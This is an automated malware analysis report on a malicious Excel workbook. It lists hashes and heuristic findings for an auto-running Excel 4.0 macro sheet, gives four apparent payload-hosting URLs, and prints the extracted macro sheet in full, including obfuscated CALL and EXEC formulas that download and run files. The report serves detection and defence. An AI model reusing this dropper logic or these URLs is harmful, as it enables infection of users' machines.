Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6852b2fe6486fc68…

MALICIOUS

Office (OOXML)

81.8 KB Created: 2006-09-16 00:00:00 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2021-04-25
MD5: 7947d54e9c0806cdb099a27bf13b86f9 SHA-1: 38f3365b35bc359ca464a0e91cab117b6e4ea65b SHA-256: 6852b2fe6486fc688ebead50fb929378dd14535b32f3797bc70015a3fa42e813
182 Risk Score

Heuristics 4

  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT, CALL, WORKBOOK.HIDE critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://steilppm.ac.id/drms/lenta.html In document text (OOXML body / shared strings)
    • https://acienciaparaficarrico.com.br/drms/lenta.htmlIn document text (OOXML body / shared strings)
    • https://deccanrestaurant.co.uk/drms/lenta.htmlIn document text (OOXML body / shared strings)
    • http://halle-auer20h.ru.com/lenta.htmlIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/intlsheet1.xml 7541 bytes
SHA-256: 689e62f11cd6435ca34ee626a16f1d01b31a5e5ccf3ae7db3a2ae524feaebaa6
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"><dimension ref="AJ5:BW136"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="4.28515625" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="49" width="4.28515625" style="1"/><col min="50" max="50" width="4.140625" style="1" customWidth="1"/><col min="51" max="59" width="4.28515625" style="1" hidden="1" customWidth="1"/><col min="60" max="16384" width="4.28515625" style="1"/></cols><sheetData><row r="5" spans="53:59" x14ac:dyDescent="0.25"><c r="BA5" s="1" t="s"><v>0</v></c><c r="BB5" s="1" t="s"><v>1</v></c><c r="BC5" s="1" t="s"><v>2</v></c><c r="BD5" s="1" t="s"><v>3</v></c><c r="BG5" s="1" t="str"><f>CHAR(85)</f><v>U</v></c></row><row r="6" spans="53:59" x14ac:dyDescent="0.25"><c r="BA6" s="1" t="s"><v>4</v></c><c r="BB6" s="1" t="s"><v>5</v></c><c r="BC6" s="1" t="s"><v>6</v></c><c r="BD6" s="1" t="s"><v>3</v></c><c r="BG6" s="1" t="s"><v>6</v></c></row><row r="7" spans="53:59" x14ac:dyDescent="0.25"><c r="BA7" s="1" t="s"><v>7</v></c><c r="BB7" s="1" t="s"><v>8</v></c><c r="BC7" s="1" t="s"><v>9</v></c><c r="BD7" s="1" t="s"><v>10</v></c><c r="BG7" s="1" t="s"><v>9</v></c></row><row r="8" spans="53:59" x14ac:dyDescent="0.25"><c r="BA8" s="1" t="s"><v>11</v></c><c r="BB8" s="1" t="s"><v>12</v></c><c r="BC8" s="1" t="s"><v>5</v></c><c r="BD8" s="1" t="s"><v>10</v></c><c r="BG8" s="1" t="s"><v>13</v></c></row><row r="9" spans="53:59" x14ac:dyDescent="0.25"><c r="BA9" s="1" t="s"><v>12</v></c><c r="BB9" s="1" t="s"><v>6</v></c><c r="BC9" s="1" t="s"><v>14</v></c><c r="BD9" s="1" t="s"><v>15</v></c><c r="BG9" s="1" t="s"><v>14</v></c></row><row r="10" spans="53:59" x14ac:dyDescent="0.25"><c r="BA10" s="1" t="s"><v>12</v></c><c r="BB10" s="1" t="s"><v>16</v></c><c r="BC10" s="1" t="s"><v>17</v></c><c r="BD10" s="1" t="s"><v>15</v></c></row><row r="11" spans="53:59" x14ac:dyDescent="0.25"><c r="BA11" s="1"><v>3</v></c><c r="BB11" s="1" t="s"><v>18</v></c><c r="BC11" s="1" t="s"><v>7</v></c></row><row r="12" spans="53:59" x14ac:dyDescent="0.25"><c r="BB12" s="1" t="s"><v>19</v></c><c r="BC12" s="1" t="s"><v>12</v></c></row><row r="13" spans="53:59" x14ac:dyDescent="0.25"><c r="BB13" s="1" t="s"><v>20</v></c><c r="BC13" s="1" t="s"><v>14</v></c></row><row r="14" spans="53:59" x14ac:dyDescent="0.25"><c r="BB14" s="1" t="s"><v>21</v></c><c r="BC14" s="1" t="s"><v>22</v></c></row><row r="15" spans="53:59" x14ac:dyDescent="0.25"><c r="BB15" s="1" t="s"><v>16</v></c><c r="BC15" s="1" t="s"><v>11</v></c><c r="BD15" s="1"><v>0</v></c></row><row r="16" spans="53:59" x14ac:dyDescent="0.25"><c r="BB16" s="1" t="s"><v>0</v></c><c r="BC16" s="1" t="s"><v>23</v></c></row><row r="17" spans="51:59" x14ac:dyDescent="0.25"><c r="BB17" s="1" t="s"><v>24</v></c><c r="BC17" s="1" t="s"><v>14</v></c></row><row r="18" spans="51:59" x14ac:dyDescent="0.25"><c r="AY18" s="1" t="b"><f>EXEC(Sheet2!AM34&amp;"..\xtjxjt.sdfg"&amp;"1"&amp;Sheet2!AM35)</f><v>0</v></c><c r="BB18" s="1" t="s"><v>25</v></c><c r="BC18" s="1" t="s"><v>26</v></c></row><row r="19" spans="51:59" x14ac:dyDescent="0.25"><c r="AY19" s="1" t="b"><f>EXEC(Sheet2!AM34&amp;"..\xtjxjt.sdfg"&amp;"2"&amp;Sheet2!AM35)</f><v>0</v></c><c r="BB19" s="1" t="s"><v>27</v></c><c r="BC19" s="1" t="s"><v>19</v></c></row><row r="20" spans="51:59" x14ac:dyDescent="0.25"><c r="AY20" s="1" t="b"><f>EXEC(Sheet2!AM34&amp;"..\xtjxjt.sdfg"&amp;"3"&amp;Sheet2!AM35)</f><v>0</v></c><c r="BC20" s="1" t="s"><v>12</v></c></row><row r="21" spans="51:59" x14ac:dyDescent="0.25"><c r="AY21" s="1" t="b"><f>EXEC(Sheet2!AM34&amp;"..\xtjxjt.sdfg"&amp;"4"&amp;Sheet2!AM35)</f><v>0</v></c><c r="BC21" s="1" t="s"><v>16</v></c></row><row r="26" spans="51:59" x14ac:dyDescent="0.25"><c r="BG26" s="1" t="s"><v>28</v></c></row><row r="27" spans="51:59" x14ac:dyDescent="0.25"><c r="BB27" s="2"/><c r="BG27" s="1" t="s"><v>30</v></c></row><row r="28" spans="51:59" x14ac:dyDescent="0.25"><c r="AY28" s="1" t="b"><f>HALT()</f><v>1</v></c><c r="BB28" s="2"/><c r="BG28" s="1" t="s"><v>31</v></c></row><row r="29" spans="51:59" x14ac:dyDescent="0.25"><c r="AY29" s="2"/><c r="BB29" s="1" t="b"><f>CALL(Sheet2!AM31&amp;"n",Sheet2!AM32&amp;"A",Sheet2!AM30,Sheet2!BD15,BG26,"..\xtjxjt.sdfg"&amp;"1",0,0)=CALL(Sheet2!AM31&amp;"n",Sheet2!AM32&amp;"A",Sheet2!AM30,Sheet2!BD15,BG27,"..\xtjxjt.sdfg"&amp;"2",0,0)</f><v>1</v></c><c r="BG29" s="1" t="s"><v>29</v></c></row><row r="33" spans="36:54" x14ac:dyDescent="0.25"><c r="BB33" s="1" t="b"><f>CALL(Sheet2!AM31&amp;"n",Sheet2!AM32&amp;"A",Sheet2!AM30,Sheet2!BD15,BG28,"..\xtjxjt.sdfg"&amp;"3",0,0)=CALL(Sheet2!AM31&amp;"n",Sheet2!AM32&amp;"A",Sheet2!AM30,Sheet2!BD15,BG29,"..\xtjxjt.sdfg"&amp;"4",0,0)</f><v>1</v></c></row><row r="36" spans="36:54" x14ac:dyDescent="0.25"><c r="AY36" s="1" t="b"><f>SET.VALUE(AM30,BD5&amp;BD6&amp;BD7&amp;BD8&amp;BD9&amp;BD10)</f><v>1</v></c></row><row r="37" spans="36:54" x14ac:dyDescent="0.25"><c r="AY37" s="1" t="b"><f>SET.VALUE(AM31,BG5&amp;BG6&amp;BG7&amp;BG8&amp;BG9)</f><v>1</v></c></row><row r="38" spans="36:54" x14ac:dyDescent="0.25"><c r="AY38" s="1" t="b"><f>SET.VALUE(AM32,BC5&amp;BC6&amp;BC7&amp;BC8&amp;BC9&amp;BC10&amp;BC11&amp;BC12&amp;BC13&amp;BC14&amp;BC15&amp;BC16&amp;BC17&amp;BC18&amp;BC19&amp;BC20&amp;BC21)</f><v>1</v></c><c r="BB38" s="1" t="b"><f>AY18()</f><v>0</v></c></row><row r="40" spans="36:54" x14ac:dyDescent="0.25"><c r="AY40" s="1" t="b"><f>WORKBOOK.HIDE("Sheet2",1)</f><v>0</v></c></row><row r="41" spans="36:54" x14ac:dyDescent="0.25"><c r="AY41" s="1" t="b"><f>SET.VALUE(AM34,Sheet2!BA5&amp;Sheet2!BA6&amp;Sheet2!BA7&amp;Sheet2!BA8&amp;Sheet2!BA9&amp;Sheet2!BA10&amp;Sheet2!BA11&amp;"2 ")</f><v>0</v></c></row><row r="42" spans="36:54" x14ac:dyDescent="0.25"><c r="AY42" s="1" t="b"><f>SET.VALUE(AM35,Sheet2!BB5&amp;Sheet2!BB6&amp;Sheet2!BB7&amp;Sheet2!BB9&amp;Sheet2!BB10&amp;Sheet2!BB11&amp;Sheet2!BB12&amp;Sheet2!BB13&amp;Sheet2!BB14&amp;Sheet2!BB15&amp;Sheet2!BB16&amp;Sheet2!BB17&amp;Sheet2!BB18&amp;Sheet2!BB19)</f><v>0</v></c></row><row r="44" spans="36:54" x14ac:dyDescent="0.25"><c r="AJ44" s="2"/></row><row r="45" spans="36:54" x14ac:dyDescent="0.25"><c r="AJ45" s="2"/></row><row r="46" spans="36:54" x14ac:dyDescent="0.25"><c r="AJ46" s="2"/></row><row r="47" spans="36:54" x14ac:dyDescent="0.25"><c r="AJ47" s="2"/></row><row r="49" spans="41:51" x14ac:dyDescent="0.25"><c r="AY49" s="1" t="b"><f>BB23()</f><v>0</v></c></row><row r="58" spans="41:51" x14ac:dyDescent="0.25"><c r="AO58" s="2"/></row><row r="59" spans="41:51" x14ac:dyDescent="0.25"><c r="AO59" s="2"/></row><row r="60" spans="41:51" x14ac:dyDescent="0.25"><c r="AO60" s="2"/></row><row r="66" spans="41:41" x14ac:dyDescent="0.25"><c r="AO66" s="2"/></row><row r="67" spans="41:41" x14ac:dyDescent="0.25"><c r="AO67" s="2"/></row><row r="68" spans="41:41" x14ac:dyDescent="0.25"><c r="AO68" s="2"/></row><row r="69" spans="41:41" x14ac:dyDescent="0.25"><c r="AO69" s="2"/></row><row r="136" spans="75:75" x14ac:dyDescent="0.25"><c r="BW136" s="2"/></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/></xm:macrosheet>

Open this report in the interactive analyzer, or submit your own file for analysis.